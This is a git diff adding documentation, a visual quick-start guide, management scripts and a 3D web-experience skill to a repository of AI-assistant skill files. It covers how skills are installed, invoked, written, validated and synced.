+## Advanced Patterns
+
+### Conditional Logic
+
+```markdown
+## Instructions
+
+If the user is working with React:
+- Use functional components
+- Prefer hooks over class components
+
+If the user is working with Vue:
+- Use Composition API
+- Follow Vue 3 patterns
+```
+
+### Progressive Disclosure
+
+```markdown
+## Basic Usage
+[Simple instructions for common cases]
+
+## Advanced Usage
+[Complex patterns for power users]
+```
+
+### Cross-References
+
+```markdown
+## Related Workflows
+
+1. First, use `@brainstorming` to design
+2. Then, use `@writing-plans` to plan
+3. Finally, use `@test-driven-development` to implement
+```
+
+---
+
+## Skill Effectiveness Metrics
+
+How to know if your skill is good:
+
+### Clarity Test
+- Can someone unfamiliar with the topic follow it?
+- Are there any ambiguous instructions?
+
+### Completeness Test
+- Does it cover the happy path?
+- Does it handle edge cases?
+- Are error scenarios addressed?
+
+### Usefulness Test
+- Does it solve a real problem?
+- Would you use this yourself?
+- Does it save time or improve quality?
+
+---
+
+## Learning from Existing Skills
+
+### Study These Examples
+
+**For Beginners:**
+- `skills/brainstorming/SKILL.md` - Clear structure
+- `skills/git-pushing/SKILL.md` - Simple and focused
+- `skills/copywriting/SKILL.md` - Good examples
+
+**For Advanced:**
+- `skills/systematic-debugging/SKILL.md` - Comprehensive
+- `skills/react-best-practices/SKILL.md` - Multiple files
+- `skills/loki-mode/SKILL.md` - Complex workflows
+
+---
+
+## 💡 Pro Tips
+
+1. **Start with the "When to Use" section** - This clarifies the skill's purpose
+2. **Write examples first** - They help you understand what you're teaching
+3. **Test with an AI** - See if it actually works before submitting
+4. **Get feedback** - Ask others to review your skill
+5. **Iterate** - Skills improve over time based on usage
+
+---
+
+## Common Mistakes to Avoid
+
+### ❌ Mistake 1: Too Vague
+```markdown
+## Instructions
+Make the code better.
+```
+
+**✅ Fix:**
+```markdown
+## Instructions
+1. Extract repeated logic into functions
+2. Add error handling for edge cases
+3. Write unit tests for core functionality
+```
+
+### ❌ Mistake 2: Too Complex
+```markdown
+## Instructions
+[5000 words of dense technical jargon]
+```
+
+**✅ Fix:**
+Break into multiple skills or use progressive disclosure
+
+### ❌ Mistake 3: No Examples
+```markdown
+## Instructions
+[Instructions without any code examples]
+```
+
+**✅ Fix:**
+Add at least 2-3 realistic examples
+
+### ❌ Mistake 4: Outdated Information
+```markdown
+Use React class components...
+```
+
+**✅ Fix:**
+Keep skills updated with current best practices
+
+---
+
+## 🎯 Next Steps
+
+1. **Read 3-5 existing skills** to see different styles
+2. **Try the skill template** from CONTRIBUTING.md
+3. **Create a simple skill** for something you know well
+4. **Test it** with your AI assistant
+5. **Share it** via Pull Request
+
+---
+
+**Remember:** Every expert was once a beginner. Start simple, learn from feedback, and improve over time! 🚀

docs/VISUAL_GUIDE.md

@@ -0,0 +1,504 @@
+# Visual Quick Start Guide
+
+**Learn by seeing!** This guide uses diagrams and visual examples to help you understand skills.
+
+---
+
+## The Big Picture
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                    YOU (Developer)                          │
+│                          ↓                                  │
+│              "Help me build a payment system"               │
+│                          ↓                                  │
+├─────────────────────────────────────────────────────────────┤
+│                  AI ASSISTANT                               │
+│                          ↓                                  │
+│              Loads @stripe-integration skill                │
+│                          ↓                                  │
+│         Becomes an expert in Stripe payments                │
+│                          ↓                                  │
+│    Provides specialized help with code examples             │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## 📦 Repository Structure (Visual)
+
+```
+antigravity-awesome-skills/
+│
+├── 📄 README.md                    ← Overview & skill list
+├── 📄 GETTING_STARTED.md           ← Start here! (NEW)
+├── 📄 CONTRIBUTING.md        ← How to contribute (NEW)
+│
+├── 📁 skills/                      ← All 179 skills live here
+│   │
+│   ├── 📁 brainstorming/
+│   │   └── 📄 SKILL.md             ← Skill definition
+│   │
+│   ├── 📁 stripe-integration/
+│   │   ├── 📄 SKILL.md
+│   │   └── 📁 examples/            ← Optional extras
+│   │
+│   ├── 📁 react-best-practices/
+│   │   ├── 📄 SKILL.md
+│   │   ├── 📁 rules/
+│   │   └── 📄 README.md
+│   │
+│   └── ... (176 more skills)
+│
+├── 📁 scripts/                     ← Validation & management
+│   ├── validate_skills.py
+│   └── generate_index.py
+│
+└── 📁 docs/                        ← Documentation (NEW)
+    ├── 📄 SKILL_ANATOMY.md         ← How skills work
+    └── 📄 VISUAL_GUIDE.md    ← This file!
+```
+
+---
+
+## How Skills Work (Flow Diagram)
+
+```
+┌──────────────┐
+│ 1. INSTALL   │  Copy skills to .agent/skills/
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 2. INVOKE    │  Type: @skill-name in AI chat
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 3. LOAD      │  AI reads SKILL.md file
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 4. EXECUTE   │  AI follows skill instructions
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 5. RESULT    │  You get specialized help!
+└──────────────┘
+```
+
+---
+
+## 🎯 Skill Categories (Visual Map)
+
+```
+                    ┌─────────────────────────┐
+                    │  179 AWESOME SKILLS     │
+                    └────────────┬────────────┘
+                                 │
+        ┌────────────────────────┼────────────────────────┐
+        │                        │                        │
+   ┌────▼────┐            ┌──────▼──────┐         ┌──────▼──────┐
+   │ CREATIVE│            │ DEVELOPMENT │         │  SECURITY   │
+   │ (10)    │            │    (25)     │         │    (50)     │
+   └────┬────┘            └──────┬──────┘         └──────┬──────┘
+        │                        │                        │
+   • UI/UX Design          • TDD                    • Ethical Hacking
+   • Canvas Art            • Debugging              • Metasploit
+   • Themes                • React Patterns         • Burp Suite
+                                                    • SQLMap
+        │                        │                        │
+        └────────────────────────┼────────────────────────┘
+                                 │
+        ┌────────────────────────┼────────────────────────┐
+        │                        │                        │
+   ┌────▼────┐            ┌──────▼──────┐         ┌──────▼──────┐
+   │   AI    │            │  DOCUMENTS  │         │  MARKETING  │
+   │  (30)   │            │     (4)     │         │    (23)     │
+   └────┬────┘            └──────┬──────┘         └──────┬──────┘
+        │                        │                        │
+   • RAG Systems           • DOCX                   • SEO
+   • LangGraph             • PDF                    • Copywriting
+   • Prompt Eng.           • PPTX                   • CRO
+   • Voice Agents          • XLSX                   • Paid Ads
+```
+
+---
+
+## Skill File Anatomy (Visual)
+
+```
+┌─────────────────────────────────────────────────────────┐
+│ SKILL.md                                                │
+├─────────────────────────────────────────────────────────┤
+│                                                         │
+│  ┌───────────────────────────────────────────────┐     │
+│  │ FRONTMATTER (Metadata)                        │     │
+│  │ ───────────────────────────────────────────── │     │
+│  │ ---                                           │     │
+│  │ name: my-skill                                │     │
+│  │ description: "What this skill does"           │     │
+│  │ ---                                           │     │
+│  └───────────────────────────────────────────────┘     │
+│                                                         │
+│  ┌───────────────────────────────────────────────┐     │
+│  │ CONTENT (Instructions)                        │     │
+│  │ ───────────────────────────────────────────── │     │
+│  │                                               │     │
+│  │ # Skill Title                                 │     │
+│  │                                               │     │
+│  │ ## Overview                                   │     │
+│  │ What this skill does...                       │     │
+│  │                                               │     │
+│  │ ## When to Use                                │     │
+│  │ - Use when...                                 │     │
+│  │                                               │     │
+│  │ ## Instructions                               │     │
+│  │ 1. First step...                              │     │
+│  │ 2. Second step...                             │     │
+│  │                                               │     │
+│  │ ## Examples                                   │     │
+│  │ ```javascript                                 │     │
+│  │ // Example code                               │     │
+│  │ ```                                           │     │
+│  │                                               │     │
+│  └───────────────────────────────────────────────┘     │
+│                                                         │
+└─────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Installation (Visual Steps)
+
+### Step 1: Clone the Repository
+```
+┌─────────────────────────────────────────┐
+│ Terminal                                │
+├─────────────────────────────────────────┤
+│ $ git clone https://github.com/        │
+│   sickn33/antigravity-awesome-skills    │
+│   .agent/skills                         │
+│                                         │
+│ ✓ Cloning into '.agent/skills'...      │
+│ ✓ Done!                                 │
+└─────────────────────────────────────────┘
+```
+
+### Step 2: Verify Installation
+```
+┌─────────────────────────────────────────┐
+│ File Explorer                           │
+├─────────────────────────────────────────┤
+│ 📁 .agent/                              │
+│   └── 📁 skills/                        │
+│       ├── 📁 brainstorming/             │
+│       ├── 📁 stripe-integration/        │
+│       ├── 📁 react-best-practices/      │
+│       └── ... (176 more)                │
+└─────────────────────────────────────────┘
+```
+
+### Step 3: Use a Skill
+```
+┌─────────────────────────────────────────┐
+│ AI Assistant Chat                       │
+├─────────────────────────────────────────┤
+│ You: @brainstorming help me design      │
+│      a todo app                         │
+│                                         │
+│ AI:  Great! Let me help you think       │
+│      through this. First, let's         │
+│      understand your requirements...    │
+│                                         │
+│      What's the primary use case?       │
+│      a) Personal task management        │
+│      b) Team collaboration              │
+│      c) Project planning                │
+└─────────────────────────────────────────┘
+```
+
+---
+
+## Example: Using a Skill (Step-by-Step)
+
+### Scenario: You want to add Stripe payments to your app
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 1: Identify the Need                                  │
+├─────────────────────────────────────────────────────────────┤
+│ "I need to add payment processing to my app"                │
+└─────────────────────────────────────────────────────────────┘
+                          ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 2: Find the Right Skill                               │
+├─────────────────────────────────────────────────────────────┤
+│ Search: "payment" or "stripe"                               │
+│ Found: @stripe-integration                                  │
+└─────────────────────────────────────────────────────────────┘
+                          ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 3: Invoke the Skill                                   │
+├─────────────────────────────────────────────────────────────┤
+│ You: @stripe-integration help me add subscription billing  │
+└─────────────────────────────────────────────────────────────┘
+                          ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 4: AI Loads Skill Knowledge                           │
+├─────────────────────────────────────────────────────────────┤
+│ • Stripe API patterns                                       │
+│ • Webhook handling                                          │
+│ • Subscription management                                   │
+│ • Best practices                                            │
+└─────────────────────────────────────────────────────────────┘
+                          ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 5: Get Expert Help                                    │
+├─────────────────────────────────────────────────────────────┤
+│ AI provides:                                                │
+│ • Code examples                                             │
+│ • Setup instructions                                        │
+│ • Security considerations                                   │
+│ • Testing strategies                                        │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Finding Skills (Visual Guide)
+
+### Method 1: Browse by Category
+```
+README.md → Scroll to "Full Skill Registry" → Find category → Pick skill
+```
+
+### Method 2: Search by Keyword
+```
+Terminal → ls skills/ | grep "keyword" → See matching skills
+```
+
+### Method 3: Use the Index
+```
+Open skills_index.json → Search for keyword → Find skill path
+```
+
+---
+
+## Creating Your First Skill (Visual Workflow)
+
+```
+┌──────────────┐
+│ 1. IDEA      │  "I want to share my Docker knowledge"
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 2. CREATE    │  mkdir skills/docker-mastery
+└──────┬───────┘  touch skills/docker-mastery/SKILL.md
+       │
+       ↓
+┌──────────────┐
+│ 3. WRITE     │  Add frontmatter + content
+└──────┬───────┘  (Use template from CONTRIBUTING.md)
+       │
+       ↓
+┌──────────────┐
+│ 4. TEST      │  Copy to .agent/skills/
+└──────┬───────┘  Try: @docker-mastery
+       │
+       ↓
+┌──────────────┐
+│ 5. VALIDATE  │  python3 scripts/validate_skills.py
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 6. SUBMIT    │  git commit + push + Pull Request
+└──────────────┘
+```
+
+---
+
+## Skill Complexity Levels
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                    SKILL COMPLEXITY                         │
+├─────────────────────────────────────────────────────────────┤
+│                                                             │
+│  SIMPLE                    STANDARD              COMPLEX    │
+│  ──────                    ────────              ───────    │
+│                                                             │
+│  • 1 file                  • 1 file              • Multiple │
+│  • 100-200 words           • 300-800 words       • 800-2000 │
+│  • Basic structure         • Full structure      • Scripts  │
+│  • No extras               • Examples            • Examples │
+│                            • Best practices      • Templates│
+│                                                  • Docs     │
+│  Example:                  Example:              Example:   │
+│  git-pushing               brainstorming         loki-mode  │
+│                                                             │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## 🎯 Contribution Impact (Visual)
+
+```
+Your Contribution
+       │
+       ├─→ Improves Documentation
+       │        │
+       │        └─→ Helps 1000s of developers understand
+       │
+       ├─→ Creates New Skill
+       │        │
+       │        └─→ Enables new capabilities for everyone
+       │
+       ├─→ Fixes Bug/Typo
+       │        │
+       │        └─→ Prevents confusion for future users
+       │
+       └─→ Adds Example
+                │
+                └─→ Makes learning easier for beginners
+```
+
+---
+
+## Learning Path (Visual Roadmap)
+
+```
+START HERE
+    │
+    ↓
+┌─────────────────┐
+│ Read            │
+│ GETTING_STARTED │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Try 2-3 Skills  │
+│ in AI Assistant │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Read            │
+│ SKILL_ANATOMY   │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Study Existing  │
+│ Skills          │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Create Simple   │
+│ Skill           │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Read            │
+│ CONTRIBUTING    │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Submit PR       │
+└────────┬────────┘
+         │
+         ↓
+    CONTRIBUTOR! 🎉
+```
+
+---
+
+## 💡 Quick Tips (Visual Cheatsheet)
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                    QUICK REFERENCE                          │
+├─────────────────────────────────────────────────────────────┤
+│                                                             │
+│  📥 INSTALL                                                 │
+│  git clone [repo] .agent/skills                             │
+│                                                             │
+│  🎯 USE                                                     │
+│  @skill-name [your request]                                 │
+│                                                             │
+│  🔍 FIND                                                    │
+│  ls skills/ | grep "keyword"                                │
+│                                                             │
+│  ✅ VALIDATE                                                │
+│  python3 scripts/validate_skills.py                         │
+│                                                             │
+│  📝 CREATE                                                  │
+│  1. mkdir skills/my-skill                                   │
+│  2. Create SKILL.md with frontmatter                        │
+│  3. Add content                                             │
+│  4. Test & validate                                         │
+│  5. Submit PR                                               │
+│                                                             │
+│  🆘 HELP                                                    │
+│  • GETTING_STARTED.md - Basics                              │
+│  • CONTRIBUTING.md - How to contribute                │
+│  • SKILL_ANATOMY.md - Deep dive                             │
+│  • GitHub Issues - Ask questions                            │
+│                                                             │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Success Stories (Visual Timeline)
+
+```
+Day 1: Install skills
+  │
+  └─→ "Wow, @brainstorming helped me design my app!"
+  
+Day 3: Use 5 different skills
+  │
+  └─→ "These skills save me so much time!"
+  
+Week 1: Create first skill
+  │
+  └─→ "I shared my expertise as a skill!"
+  
+Week 2: Skill gets merged
+  │
+  └─→ "My skill is helping others! 🎉"
+  
+Month 1: Regular contributor
+  │
+  └─→ "I've contributed 5 skills and improved docs!"
+```
+
+---
+
+## Next Steps
+
+1. ✅ **Understand** the visual structure
+2. ✅ **Install** skills in your AI tool
+3. ✅ **Try** 2-3 skills from different categories
+4. ✅ **Read** CONTRIBUTING.md
+5. ✅ **Create** your first skill
+6. ✅ **Share** with the community
+
+---
+
+**Visual learner?** This guide should help! Still have questions? Check out:
+- [GETTING_STARTED.md](../GETTING_STARTED.md) - Text-based intro
+- [SKILL_ANATOMY.md](SKILL_ANATOMY.md) - Detailed breakdown
+- [CONTRIBUTING.md](../CONTRIBUTING.md) - How to contribute
+
+**Ready to contribute?** You've got this! 💪

scripts/generate_index.py

@@ -7,6 +7,8 @@ def generate_index(skills_dir, output_file):
     skills = []
 
     for root, dirs, files in os.walk(skills_dir):
+        # Skip .disabled directories
+        dirs[:] = [d for d in dirs if d != '.disabled']
         if "SKILL.md" in files:
             skill_path = os.path.join(root, "SKILL.md")
             dir_name = os.path.basename(root)
@@ -57,7 +59,7 @@ def generate_index(skills_dir, output_file):
             
             skills.append(skill_info)
 
-    skills.sort(key=lambda x: x["name"])
+    skills.sort(key=lambda x: x["name"].lower())
 
     with open(output_file, 'w', encoding='utf-8') as f:
         json.dump(skills, f, indent=2)

scripts/skills_manager.py

@@ -0,0 +1,119 @@
+#!/usr/bin/env python3
+"""
+Skills Manager - Easily enable/disable skills locally
+
+Usage:
+  python3 scripts/skills_manager.py list          # List active skills
+  python3 scripts/skills_manager.py disabled      # List disabled skills
+  python3 scripts/skills_manager.py enable SKILL  # Enable a skill
+  python3 scripts/skills_manager.py disable SKILL # Disable a skill
+"""
+
+import sys
+import os
+from pathlib import Path
+
+SKILLS_DIR = Path(__file__).parent.parent / "skills"
+DISABLED_DIR = SKILLS_DIR / ".disabled"
+
+def list_active():
+    """List all active skills"""
+    print("🟢 Active Skills:\n")
+    skills = sorted([d.name for d in SKILLS_DIR.iterdir() 
+                    if d.is_dir() and not d.name.startswith('.')])
+    symlinks = sorted([s.name for s in SKILLS_DIR.iterdir() 
+                      if s.is_symlink()])
+    
+    for skill in skills:
+        print(f"  • {skill}")
+    
+    if symlinks:
+        print("\n📎 Symlinks:")
+        for link in symlinks:
+            target = os.readlink(SKILLS_DIR / link)
+            print(f"  • {link} → {target}")
+    
+    print(f"\n✅ Total: {len(skills)} skills + {len(symlinks)} symlinks")
+
+def list_disabled():
+    """List all disabled skills"""
+    if not DISABLED_DIR.exists():
+        print("❌ No disabled skills directory found")
+        return
+    
+    print("⚪ Disabled Skills:\n")
+    disabled = sorted([d.name for d in DISABLED_DIR.iterdir() if d.is_dir()])
+    
+    for skill in disabled:
+        print(f"  • {skill}")
+    
+    print(f"\n📊 Total: {len(disabled)} disabled skills")
+
+def enable_skill(skill_name):
+    """Enable a disabled skill"""
+    source = DISABLED_DIR / skill_name
+    target = SKILLS_DIR / skill_name
+    
+    if not source.exists():
+        print(f"❌ Skill '{skill_name}' not found in .disabled/")
+        return False
+    
+    if target.exists():
+        print(f"⚠️  Skill '{skill_name}' is already active")
+        return False
+    
+    source.rename(target)
+    print(f"✅ Enabled: {skill_name}")
+    return True
+
+def disable_skill(skill_name):
+    """Disable an active skill"""
+    source = SKILLS_DIR / skill_name
+    target = DISABLED_DIR / skill_name
+    
+    if not source.exists():
+        print(f"❌ Skill '{skill_name}' not found")
+        return False
+    
+    if source.name.startswith('.'):
+        print(f"⚠️  Cannot disable system directory: {skill_name}")
+        return False
+    
+    if source.is_symlink():
+        print(f"⚠️  Cannot disable symlink: {skill_name}")
+        print(f"   (Remove the symlink manually if needed)")
+        return False
+    
+    DISABLED_DIR.mkdir(exist_ok=True)
+    source.rename(target)
+    print(f"✅ Disabled: {skill_name}")
+    return True
+
+def main():
+    if len(sys.argv) < 2:
+        print(__doc__)
+        sys.exit(1)
+    
+    command = sys.argv[1].lower()
+    
+    if command == "list":
+        list_active()
+    elif command == "disabled":
+        list_disabled()
+    elif command == "enable":
+        if len(sys.argv) < 3:
+            print("❌ Usage: skills_manager.py enable SKILL_NAME")
+            sys.exit(1)
+        enable_skill(sys.argv[2])
+    elif command == "disable":
+        if len(sys.argv) < 3:
+            print("❌ Usage: skills_manager.py disable SKILL_NAME")
+            sys.exit(1)
+        disable_skill(sys.argv[2])
+    else:
+        print(f"❌ Unknown command: {command}")
+        print(__doc__)
+        sys.exit(1)
+
+if __name__ == "__main__":
+    main()

scripts/sync_recommended_skills.sh

@@ -0,0 +1,114 @@
+#!/bin/bash
+# sync_recommended_skills.sh
+# Syncs only the 35 recommended skills from GitHub repo to local central library
+
+set -e
+
+# Paths
+GITHUB_REPO="/Users/nicco/Antigravity Projects/antigravity-awesome-skills/skills"
+LOCAL_LIBRARY="/Users/nicco/.gemini/antigravity/scratch/.agent/skills"
+BACKUP_DIR="/Users/nicco/.gemini/antigravity/scratch/.agent/skills_backup_$(date +%Y%m%d_%H%M%S)"
+
+# 35 Recommended Skills
+RECOMMENDED_SKILLS=(
+    # Tier S - Core Development (13)
+    "systematic-debugging"
+    "test-driven-development"
+    "writing-skills"
+    "doc-coauthoring"
+    "planning-with-files"
+    "concise-planning"
+    "software-architecture"
+    "senior-architect"
+    "senior-fullstack"
+    "verification-before-completion"
+    "git-pushing"
+    "address-github-comments"
+    "javascript-mastery"
+    
+    # Tier A - Your Projects (12)
+    "docx-official"
+    "pdf-official"
+    "pptx-official"
+    "xlsx-official"
+    "react-best-practices"
+    "web-design-guidelines"
+    "frontend-dev-guidelines"
+    "webapp-testing"
+    "playwright-skill"
+    "mcp-builder"
+    "notebooklm"
+    "ui-ux-pro-max"
+    
+    # Marketing & SEO (1)
+    "content-creator"
+    
+    # Corporate (4)
+    "brand-guidelines-anthropic"
+    "brand-guidelines-community"
+    "internal-comms-anthropic"
+    "internal-comms-community"
+    
+    # Planning & Documentation (1)
+    "writing-plans"
+    
+    # AI & Automation (5)
+    "workflow-automation"
+    "llm-app-patterns"
+    "autonomous-agent-patterns"
+    "prompt-library"
+    "github-workflow-automation"
+)
+
+echo "🔄 Sync Recommended Skills"
+echo "========================="
+echo ""
+echo "📍 Source: $GITHUB_REPO"
+echo "📍 Target: $LOCAL_LIBRARY"
+echo "📊 Skills to sync: ${#RECOMMENDED_SKILLS[@]}"
+echo ""
+
+# Create backup
+echo "📦 Creating backup at: $BACKUP_DIR"
+cp -r "$LOCAL_LIBRARY" "$BACKUP_DIR"
+echo "✅ Backup created"
+echo ""
+
+# Clear local library (keep README.md if exists)
+echo "🗑️  Clearing local library..."
+cd "$LOCAL_LIBRARY"
+for item in */; do
+    rm -rf "$item"
+done
+echo "✅ Local library cleared"
+echo ""
+
+# Copy recommended skills
+echo "📋 Copying recommended skills..."
+SUCCESS_COUNT=0
+MISSING_COUNT=0
+
+for skill in "${RECOMMENDED_SKILLS[@]}"; do
+    if [ -d "$GITHUB_REPO/$skill" ]; then
+        cp -r "$GITHUB_REPO/$skill" "$LOCAL_LIBRARY/"
+        echo "  ✅ $skill"
+        ((SUCCESS_COUNT++))
+    else
+        echo "  ⚠️  $skill (not found in repo)"
+        ((MISSING_COUNT++))
+    fi
+done
+
+echo ""
+echo "📊 Summary"
+echo "=========="
+echo "✅ Copied: $SUCCESS_COUNT skills"
+echo "⚠️  Missing: $MISSING_COUNT skills"
+echo "📦 Backup: $BACKUP_DIR"
+echo ""
+
+# Verify
+FINAL_COUNT=$(find "$LOCAL_LIBRARY" -maxdepth 1 -type d ! -name "." | wc -l | tr -d ' ')
+echo "🎯 Final count in local library: $FINAL_COUNT skills"
+echo ""
+echo "Done! Your local library now has only the recommended skills."

scripts/update_readme.py

@@ -0,0 +1,125 @@
+#!/usr/bin/env python3
+import json
+import os
+import re
+
+def update_readme():
+    base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+    readme_path = os.path.join(base_dir, "README.md")
+    index_path = os.path.join(base_dir, "skills_index.json")
+
+    print(f"📖 Reading skills index from: {index_path}")
+    with open(index_path, 'r', encoding='utf-8') as f:
+        skills = json.load(f)
+
+    total_skills = len(skills)
+    print(f"🔢 Total skills found: {total_skills}")
+
+    print(f"📝 Updating README at: {readme_path}")
+    with open(readme_path, 'r', encoding='utf-8') as f:
+        content = f.read()
+
+    # 1. Update Title Count
+    # Pattern: # 🌌 Antigravity Awesome Skills: [NUM]+ Agentic Skills
+    content = re.sub(
+        r'(# 🌌 Antigravity Awesome Skills: )\d+(\+ Agentic Skills)',
+        f'\\g<1>{total_skills}\\g<2>',
+        content
+    )
+
+    # 2. Update Blockquote Count
+    # Pattern: Collection of [NUM]+ Universal
+    content = re.sub(
+        r'(Collection of )\d+(\+ Universal)',
+        f'\\g<1>{total_skills}\\g<2>',
+        content
+    )
+
+    # 3. Update Intro Text Count
+    # Pattern: library of **[NUM] high-performance skills**
+    content = re.sub(
+        r'(library of \*\*)\d+( high-performance skills\*\*)',
+        f'\\g<1>{total_skills}\\g<2>',
+        content
+    )
+
+    # 4. Update Registry Header Count
+    # Pattern: ## Full Skill Registry ([NUM]/[NUM])
+    content = re.sub(
+        r'(## Full Skill Registry \()\d+/\d+(\))',
+        f'\\g<1>{total_skills}/{total_skills}\\g<2>',
+        content
+    )
+
+    # 5. Generate New Registry Table
+    print("🔄 Generating new registry table...")
+    
+    # Store the Note block to preserve it
+    note_pattern = r'(> \[!NOTE\].*?)\n\n\| Skill Name'
+    note_match = re.search(note_pattern, content, re.DOTALL)
+    note_block = ""
+    if note_match:
+        note_block = note_match.group(1)
+    else:
+        # Fallback default note if not found (though it should be there)
+        note_block = "> [!NOTE] > **Document Skills**: We provide both **community** and **official Anthropic** versions for DOCX, PDF, PPTX, and XLSX. Locally, the official versions are used by default (via symlinks). In the repository, both versions are available for flexibility."
+
+    table_header = "| Skill Name | Description | Path |\n| :--- | :--- | :--- |"
+    table_rows = []
+
+    for skill in skills:
+        name = skill.get('name', 'Unknown')
+        desc = skill.get('description', '').replace('\n', ' ').strip()
+        path = skill.get('path', '')
+        
+        # Escape pipes in description to strictly avoid breaking the table
+        desc = desc.replace('|', '\|')
+        
+        row = f"| **{name}** | {desc} | `{path}` |"
+        table_rows.append(row)
+
+    new_table_section = f"{note_block}\n\n{table_header}\n" + "\n".join(table_rows)
+
+    # Replace the old table section
+    # We look for the start of the section and the end (which is either the next H2 or EOF)
+    # The section starts after "## Full Skill Registry (X/X)"
+    
+    # First, find the header position
+    header_pattern = r'## Full Skill Registry \(\d+/\d+\)'
+    header_match = re.search(header_pattern, content)
+    
+    if not header_match:
+        print("❌ Could not find 'Full Skill Registry' header.")
+        return
+
+    start_pos = header_match.end()
+    
+    # Find the next section (## ...) or end of file
+    next_section_match = re.search(r'\n## ', content[start_pos:])
+    
+    if next_section_match:
+        end_pos = start_pos + next_section_match.start()
+        # Keep everything after the table
+        rest_of_file = content[end_pos:]
+    else:
+        # Table goes to end of file
+        rest_of_file = ""
+
+    # Check for text between Header and Table (usually just newlines or the Note)
+    # We replace everything from Header End to Next Section with our New Table Section
+    # but we need to supply the pre-table Note which we extracted/re-generated above.
+    
+    # Simplification: We construct the top part (before header), add header, add new table section, add rest.
+    
+    before_header = content[:header_match.start()]
+    new_header = f"## Full Skill Registry ({total_skills}/{total_skills})"
+    
+    new_content = f"{before_header}{new_header}\n\n{new_table_section}\n{rest_of_file}"
+
+    with open(readme_path, 'w', encoding='utf-8') as f:
+        f.write(new_content)
+
+    print("✅ README.md updated successfully.")
+
+if __name__ == "__main__":
+    update_readme()

scripts/validate_skills.py

@@ -7,6 +7,8 @@ def validate_skills(skills_dir):
     skill_count = 0
 
     for root, dirs, files in os.walk(skills_dir):
+        # Skip .disabled directories
+        dirs[:] = [d for d in dirs if d != '.disabled']
         if "SKILL.md" in files:
             skill_count += 1
             skill_path = os.path.join(root, "SKILL.md")

skills/.gitignore

@@ -0,0 +1,3 @@
+# Local-only: disabled skills for lean configuration
+# These skills are kept in the repository but disabled locally
+.disabled/

skills/3d-web-experience/SKILL.md

@@ -0,0 +1,254 @@
+---
+name: 3d-web-experience
+description: "Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing depth to web experiences. Use when: 3D website, three.js, WebGL, react three fiber, 3D experience."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# 3D Web Experience
+
+**Role**: 3D Web Experience Architect
+
+You bring the third dimension to the web. You know when 3D enhances
+and when it's just showing off. You balance visual impact with
+performance. You make 3D accessible to users who've never touched
+a 3D app. You create moments of wonder without sacrificing usability.
+
+## Capabilities
+
+- Three.js implementation
+- React Three Fiber
+- WebGL optimization
+- 3D model integration
+- Spline workflows
+- 3D product configurators
+- Interactive 3D scenes
+- 3D performance optimization
+
+## Patterns
+
+### 3D Stack Selection
+
+Choosing the right 3D approach
+
+**When to use**: When starting a 3D web project
+
+```python
+## 3D Stack Selection
+
+### Options Comparison
+| Tool | Best For | Learning Curve | Control |
+|------|----------|----------------|---------|
+| Spline | Quick prototypes, designers | Low | Medium |
+| React Three Fiber | React apps, complex scenes | Medium | High |
+| Three.js vanilla | Max control, non-React | High | Maximum |
+| Babylon.js | Games, heavy 3D | High | Maximum |
+
+### Decision Tree
+```
+Need quick 3D element?
+└── Yes → Spline
+└── No → Continue
+
+Using React?
+└── Yes → React Three Fiber
+└── No → Continue
+
+Need max performance/control?
+└── Yes → Three.js vanilla
+└── No → Spline or R3F
+```
+
+### Spline (Fastest Start)
+```jsx
+import Spline from '@splinetool/react-spline';
+
+export default function Scene() {
+  return (
+    <Spline scene="https://prod.spline.design/xxx/scene.splinecode" />
+  );
+}
+```
+
+### React Three Fiber
+```jsx
+import { Canvas } from '@react-three/fiber';
+import { OrbitControls, useGLTF } from '@react-three/drei';
+
+function Model() {
+  const { scene } = useGLTF('/model.glb');
+  return <primitive object={scene} />;
+}
+
+export default function Scene() {
+  return (
+    <Canvas>
+      <ambientLight />
+      <Model />
+      <OrbitControls />
+    </Canvas>
+  );
+}
+```
+```
+
+### 3D Model Pipeline
+
+Getting models web-ready
+
+**When to use**: When preparing 3D assets
+
+```python
+## 3D Model Pipeline
+
+### Format Selection
+| Format | Use Case | Size |
+|--------|----------|------|
+| GLB/GLTF | Standard web 3D | Smallest |
+| FBX | From 3D software | Large |
+| OBJ | Simple meshes | Medium |
+| USDZ | Apple AR | Medium |
+
+### Optimization Pipeline
+```
+1. Model in Blender/etc
+2. Reduce poly count (< 100K for web)
+3. Bake textures (combine materials)
+4. Export as GLB
+5. Compress with gltf-transform
+6. Test file size (< 5MB ideal)
+```
+
+### GLTF Compression
+```bash
+# Install gltf-transform
+npm install -g @gltf-transform/cli
+
+# Compress model
+gltf-transform optimize input.glb output.glb \
+  --compress draco \
+  --texture-compress webp
+```
+
+### Loading in R3F
+```jsx
+import { useGLTF, useProgress, Html } from '@react-three/drei';
+import { Suspense } from 'react';
+
+function Loader() {
+  const { progress } = useProgress();
